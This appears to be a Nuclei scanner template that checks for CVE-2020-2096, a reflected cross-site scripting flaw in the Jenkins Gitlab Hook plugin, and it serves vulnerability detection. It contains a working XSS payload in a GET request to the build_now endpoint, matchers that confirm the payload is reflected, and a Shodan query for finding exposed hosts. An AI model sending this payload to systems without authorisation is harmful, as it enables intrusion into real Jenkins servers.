id: CVE-2020-2096

info:
  name: Jenkins Gitlab Hook XSS
  author: madrobot
  severity: medium
  description: Jenkins Gitlab Hook Plugin 1.4.2 and earlier does not escape project names in the build_now endpoint, resulting in a reflected XSS vulnerability.
  reference:
    - https://jenkins.io/security/advisory/2020-01-15/#SECURITY-1683
    - http://www.openwall.com/lists/oss-security/2020/01/15/1
    - http://packetstormsecurity.com/files/155967/Jenkins-Gitlab-Hook-1.4.2-Cross-Site-Scripting.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-2096
    cwe-id: CWE-79
  metadata:
    shodan-query: http.title:"GitLab"
  tags: cve,cve2020,jenkins,xss,gitlab,plugin

requests:
  - method: GET
    path:
      - "{{BaseURL}}/gitlab/build_now%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html